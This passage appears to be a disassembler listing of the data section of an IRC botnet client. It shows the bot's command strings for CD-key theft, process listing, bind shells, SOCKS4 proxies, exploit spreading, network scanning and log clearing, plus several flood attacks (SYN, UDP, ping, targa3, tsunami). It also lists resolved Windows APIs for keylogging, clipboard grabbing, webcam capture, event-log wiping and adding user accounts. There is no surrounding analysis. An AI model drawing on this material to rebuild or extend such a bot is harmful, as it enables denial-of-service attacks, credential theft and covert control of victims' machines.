aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:00437F84o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C284	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2AC	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437BF0o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 10h
dword_42C370	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 10h
dword_42C390	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3B4	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C404	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 10h
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C44C	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C480	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C490	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4A0	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4B0	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4C0	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C4CC	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C4D8	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C4E4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C4FC	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C508	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 10h
dword_42C520	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C530	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C54C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C55C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C578	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C584	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C598	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5A4	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5B0	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5BC	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C5CC	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C5EC	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C5F8	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C60C	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C628	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C644	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C66C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C1Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C718:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C75C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42C7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_42C820	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42C8A0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8B8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8C0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C8DC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C8E8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C8EC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C928	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C930	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C944	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C968	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9BC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA28:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA2C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA30	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
